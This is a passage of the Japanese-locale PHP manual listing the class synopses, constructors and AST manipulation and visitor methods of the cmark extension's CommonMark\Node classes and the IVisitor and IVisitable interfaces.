public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


BulletList concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\BulletList extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* プロパティ */
public bool $tight ;
public int $delimiter ;
/* Constructor */
public __construct ( )
public __construct ( int $tight )
public __construct ( int $tight , int $delimiter )
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

目次

  • CommonMark\Node\BulletList::__construct — BulletList Construction

User Contributed Notes

There are no user contributed notes for this page.


BulletList Construction

  • ≪ CommonMark\Node\BulletList
  • CommonMark\Node\OrderedList ≫
  • PHP Manual
  • CommonMark\Node\BulletList
  • BulletList Construction

CommonMark\Node\BulletList::__construct

(cmark >= 1.0.0)

CommonMark\Node\BulletList::__construct — BulletList Construction

説明

public CommonMark\Node\BulletList::__construct ( )
public CommonMark\Node\BulletList::__construct ( int $tight )
public CommonMark\Node\BulletList::__construct ( int $tight , int $delimiter )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


OrderedList concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\OrderedList extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* プロパティ */
public bool $tight ;
public int $delimiter ;
public int $start ;
/* Constructor */
public __construct ( )
public __construct ( int $tight )
public __construct ( int $tight , int $delimiter )
public __construct ( int $tight , int $delimiter , int $start )
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

目次

  • CommonMark\Node\OrderedList::__construct — OrderedList Construction

User Contributed Notes

There are no user contributed notes for this page.


OrderedList Construction

  • ≪ CommonMark\Node\OrderedList
  • CommonMark\Node\Item ≫
  • PHP Manual
  • CommonMark\Node\OrderedList
  • OrderedList Construction

CommonMark\Node\OrderedList::__construct

(cmark >= 1.0.0)

CommonMark\Node\OrderedList::__construct — OrderedList Construction

説明

public CommonMark\Node\OrderedList::__construct ( )
public CommonMark\Node\OrderedList::__construct ( int $tight )
public CommonMark\Node\OrderedList::__construct ( int $tight , int $delimiter )
public CommonMark\Node\OrderedList::__construct ( int $tight , int $delimiter , int $start )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

tight

delimiter

start

User Contributed Notes

There are no user contributed notes for this page.


Item concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\Item extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Text concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\Text extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* プロパティ */
public string|null $literal ;
/* Constructor */
public __construct ( )
public __construct ( string $literal )
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

目次

  • CommonMark\Node\Text::__construct — Text Construction

User Contributed Notes

There are no user contributed notes for this page.


Text Construction

  • ≪ CommonMark\Node\Text
  • CommonMark\Node\Text\Strong ≫
  • PHP Manual
  • CommonMark\Node\Text
  • Text Construction

CommonMark\Node\Text::__construct

(cmark >= 1.0.0)

CommonMark\Node\Text::__construct — Text Construction

説明

public CommonMark\Node\Text::__construct ( )
public CommonMark\Node\Text::__construct ( string $literal )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

literal

User Contributed Notes

There are no user contributed notes for this page.


Strong concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\Text\Strong extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Emphasis concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\Text\Emphasis extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


ThematicBreak concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\ThematicBreak extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


SoftBreak concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\SoftBreak extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


LineBreak concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\LineBreak extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Code concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\Code extends CommonMark\Node\Text implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
public string|null $literal ;
/* Constructor */
public CommonMark\Node\Text::__construct ( )
public CommonMark\Node\Text::__construct ( string $literal )
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


CodeBlock concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\CodeBlock extends CommonMark\Node\Text implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
public string|null $literal ;
/* プロパティ */
public string|null $fence ;
/* Constructor */
public CommonMark\Node\Text::__construct ( )
public CommonMark\Node\Text::__construct ( string $literal )
public __construct ( string $fence , string $literal )
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

目次

  • CommonMark\Node\CodeBlock::__construct — CodeBlock Construction

User Contributed Notes

There are no user contributed notes for this page.


CodeBlock Construction

  • ≪ CommonMark\Node\CodeBlock
  • CommonMark\Node\HTMLBlock ≫
  • PHP Manual
  • CommonMark\Node\CodeBlock
  • CodeBlock Construction

CommonMark\Node\CodeBlock::__construct

(cmark >= 1.0.0)

CommonMark\Node\CodeBlock::__construct — CodeBlock Construction

説明

public CommonMark\Node\CodeBlock::__construct ( string $fence , string $literal )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

fence

literal

User Contributed Notes

There are no user contributed notes for this page.


HTMLBlock concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\HTMLBlock extends CommonMark\Node\Text implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
public string|null $literal ;
/* Constructor */
public CommonMark\Node\Text::__construct ( )
public CommonMark\Node\Text::__construct ( string $literal )
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


HTMLInline concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\HTMLInline extends CommonMark\Node\Text implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
public string|null $literal ;
/* Constructor */
public CommonMark\Node\Text::__construct ( )
public CommonMark\Node\Text::__construct ( string $literal )
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Image concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\Image extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* プロパティ */
public string|null $url ;
public string|null $title ;
/* Constructor */
public __construct ( )
public __construct ( string $url )
public __construct ( string $url , string $title )
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

目次

  • CommonMark\Node\Image::__construct — Image Construction

User Contributed Notes

There are no user contributed notes for this page.


Image Construction

  • ≪ CommonMark\Node\Image
  • CommonMark\Node\Link ≫
  • PHP Manual
  • CommonMark\Node\Image
  • Image Construction

CommonMark\Node\Image::__construct

(cmark >= 1.0.0)

CommonMark\Node\Image::__construct — Image Construction

説明

public CommonMark\Node\Image::__construct ( )
public CommonMark\Node\Image::__construct ( string $url )
public CommonMark\Node\Image::__construct ( string $url , string $title )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

url

title

User Contributed Notes

There are no user contributed notes for this page.


Link concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\Link extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* プロパティ */
public string|null $url ;
public string|null $title ;
/* Constructor */
public __construct ( )
public __construct ( string $url )
public __construct ( string $url , string $title )
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

目次

  • CommonMark\Node\Link::__construct — Link Construction

User Contributed Notes

There are no user contributed notes for this page.


Link Construction

  • ≪ CommonMark\Node\Link
  • CommonMark\Node\CustomBlock ≫
  • PHP Manual
  • CommonMark\Node\Link
  • Link Construction

CommonMark\Node\Link::__construct

(cmark >= 1.0.0)

CommonMark\Node\Link::__construct — Link Construction

説明

public CommonMark\Node\Link::__construct ( )
public CommonMark\Node\Link::__construct ( string $url )
public CommonMark\Node\Link::__construct ( string $url , string $title )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

url

title

User Contributed Notes

There are no user contributed notes for this page.


CustomBlock concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\CustomBlock extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* プロパティ */
public string|null $onEnter ;
public string|null $onLeave ;
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


CustomInline concrete CommonMark\Node

(cmark >= 1.0.0)

クラス概要

final CommonMark\Node\CustomInline extends CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* 継承したプロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* プロパティ */
public string|null $onEnter ;
public string|null $onLeave ;
/* 継承したメソッド */
public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node
public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node
public CommonMark\Node::unlink ( ) : void
public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


Abstract CommonMark\Node

(cmark >= 1.0.0)

はじめに

Represents an Abstract Node, this final abstract is not for direct use by the programmer.

クラス概要

final abstract CommonMark\Node implements CommonMark\Interfaces\IVisitable , Traversable {
/* プロパティ */
public readonly Node|null $parent ;
public readonly Node|null $previous ;
public readonly Node|null $next ;
public readonly Node|null $lastChild ;
public readonly Node|null $firstChild ;
public readonly int $startLine ;
public readonly int $endLine ;
public readonly int $startColumn ;
public readonly int $endColumn ;
/* メソッド */
public appendChild ( CommonMark\Node $child ) : CommonMark\Node
public prependChild ( CommonMark\Node $child ) : CommonMark\Node
public insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node
public insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node
public replace ( CommonMark\Node $target ) : CommonMark\Node
public unlink ( ) : void
public accept ( CommonMark\Interfaces\IVisitor $visitor ) : void
}

目次

  • CommonMark\Node::appendChild — AST Manipulation
  • CommonMark\Node::prependChild — AST Manipulation
  • CommonMark\Node::insertAfter — AST Manipulation
  • CommonMark\Node::insertBefore — AST Manipulation
  • CommonMark\Node::replace — AST Manipulation
  • CommonMark\Node::unlink — AST Manipulation
  • CommonMark\Node::accept — Visitation

User Contributed Notes

There are no user contributed notes for this page.


AST Manipulation

  • ≪ CommonMark\Node
  • CommonMark\Node::prependChild ≫
  • PHP Manual
  • CommonMark\Node
  • AST Manipulation

CommonMark\Node::appendChild

(cmark >= 1.0.0)

CommonMark\Node::appendChild — AST Manipulation

説明

public CommonMark\Node::appendChild ( CommonMark\Node $child ) : CommonMark\Node

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

child

返り値

User Contributed Notes

There are no user contributed notes for this page.


AST Manipulation

  • ≪ CommonMark\Node::appendChild
  • CommonMark\Node::insertAfter ≫
  • PHP Manual
  • CommonMark\Node
  • AST Manipulation

CommonMark\Node::prependChild

(cmark >= 1.0.0)

CommonMark\Node::prependChild — AST Manipulation

説明

public CommonMark\Node::prependChild ( CommonMark\Node $child ) : CommonMark\Node

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

child

返り値

User Contributed Notes

There are no user contributed notes for this page.


AST Manipulation

  • ≪ CommonMark\Node::prependChild
  • CommonMark\Node::insertBefore ≫
  • PHP Manual
  • CommonMark\Node
  • AST Manipulation

CommonMark\Node::insertAfter

(cmark >= 1.0.0)

CommonMark\Node::insertAfter — AST Manipulation

説明

public CommonMark\Node::insertAfter ( CommonMark\Node $sibling ) : CommonMark\Node

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

sibling

返り値

User Contributed Notes

There are no user contributed notes for this page.


AST Manipulation

  • ≪ CommonMark\Node::insertAfter
  • CommonMark\Node::replace ≫
  • PHP Manual
  • CommonMark\Node
  • AST Manipulation

CommonMark\Node::insertBefore

(cmark >= 1.0.0)

CommonMark\Node::insertBefore — AST Manipulation

説明

public CommonMark\Node::insertBefore ( CommonMark\Node $sibling ) : CommonMark\Node

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

sibling

返り値

User Contributed Notes

There are no user contributed notes for this page.


AST Manipulation

  • ≪ CommonMark\Node::insertBefore
  • CommonMark\Node::unlink ≫
  • PHP Manual
  • CommonMark\Node
  • AST Manipulation

CommonMark\Node::replace

(cmark >= 1.0.0)

CommonMark\Node::replace — AST Manipulation

説明

public CommonMark\Node::replace ( CommonMark\Node $target ) : CommonMark\Node

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

target

返り値

User Contributed Notes

There are no user contributed notes for this page.


AST Manipulation

  • ≪ CommonMark\Node::replace
  • CommonMark\Node::accept ≫
  • PHP Manual
  • CommonMark\Node
  • AST Manipulation

CommonMark\Node::unlink

(cmark >= 1.0.0)

CommonMark\Node::unlink — AST Manipulation

説明

public CommonMark\Node::unlink ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Visitation

  • ≪ CommonMark\Node::unlink
  • CommonMark\Interfaces\IVisitor ≫
  • PHP Manual
  • CommonMark\Node
  • Visitation

CommonMark\Node::accept

(cmark >= 1.0.0)

CommonMark\Node::accept — Visitation

説明

public CommonMark\Node::accept ( CommonMark\Interfaces\IVisitor $visitor ) : void

パラメータ

visitor

An object implementing CommonMark\Interfaces\IVisitor

参考

  • CommonMark\Interfaces\IVisitor::enter
  • CommonMark\Interfaces\IVisitor::leave

User Contributed Notes

There are no user contributed notes for this page.


The CommonMark\Interfaces\IVisitor interface

(cmark >= 1.0.0)

はじめに

クラス概要

final CommonMark\Interfaces\IVisitor {
/* Constants */
const int Done ;
const int Enter ;
const int Leave ;
/* メソッド */
abstract public enter ( IVisitable $visitable ) : int|IVisitable|null
abstract public leave ( IVisitable $visitable ) : int|IVisitable|null
}

目次

  • CommonMark\Interfaces\IVisitor::enter — Visitation
  • CommonMark\Interfaces\IVisitor::leave — Visitation

User Contributed Notes

There are no user contributed notes for this page.


Visitation

  • ≪ CommonMark\Interfaces\IVisitor
  • CommonMark\Interfaces\IVisitor::leave ≫
  • PHP Manual
  • CommonMark\Interfaces\IVisitor
  • Visitation

CommonMark\Interfaces\IVisitor::enter

(cmark >= 1.0.0)

CommonMark\Interfaces\IVisitor::enter — Visitation

説明

abstract public CommonMark\Interfaces\IVisitor::enter ( IVisitable $visitable ) : int|IVisitable|null

パラメータ

visitable

The current CommonMark\Interfaces\IVisitable being entered

返り値

Returning CommonMark\Interfaces\IVisitor::Done will cause the backing iterator to exit.

Returning CommonMark\Interfaces\IVisitor::Enter will reset the backing iterator at entering the current IVisitable

Returning CommonMark\Interfaces\IVisitor::Leave will reset the backing iterator at exiting the current IVisitable

Returning an IVisitable will reset the backing iterator at entering the given IVisitable

Returning nothing will allow the backing iterator to continue

参考

  • CommonMark\Interfaces\IVisitable::accept

User Contributed Notes

There are no user contributed notes for this page.


Visitation

  • ≪ CommonMark\Interfaces\IVisitor::enter
  • CommonMark\Interfaces\IVisitable ≫
  • PHP Manual
  • CommonMark\Interfaces\IVisitor
  • Visitation

CommonMark\Interfaces\IVisitor::leave

(cmark >= 1.0.0)

CommonMark\Interfaces\IVisitor::leave — Visitation

説明

abstract public CommonMark\Interfaces\IVisitor::leave ( IVisitable $visitable ) : int|IVisitable|null

パラメータ

visitable

The current CommonMark\Interfaces\IVisitable being exited

返り値

Returning CommonMark\Interfaces\IVisitor::Done will cause the backing iterator to exit.

Returning CommonMark\Interfaces\IVisitor::Enter will reset the backing iterator at entering the current IVisitable

Returning CommonMark\Interfaces\IVisitor::Leave will reset the backing iterator at exiting the current IVisitable

Returning an IVisitable will reset the backing iterator at exiting the given IVisitable

Returning nothing will allow the backing iterator to continue

参考

  • CommonMark\Interfaces\IVisitable::accept

User Contributed Notes

There are no user contributed notes for this page.


The CommonMark\Interfaces\IVisitable interface

(cmark >= 1.0.0)

はじめに

クラス概要

final CommonMark\Interfaces\IVisitable {
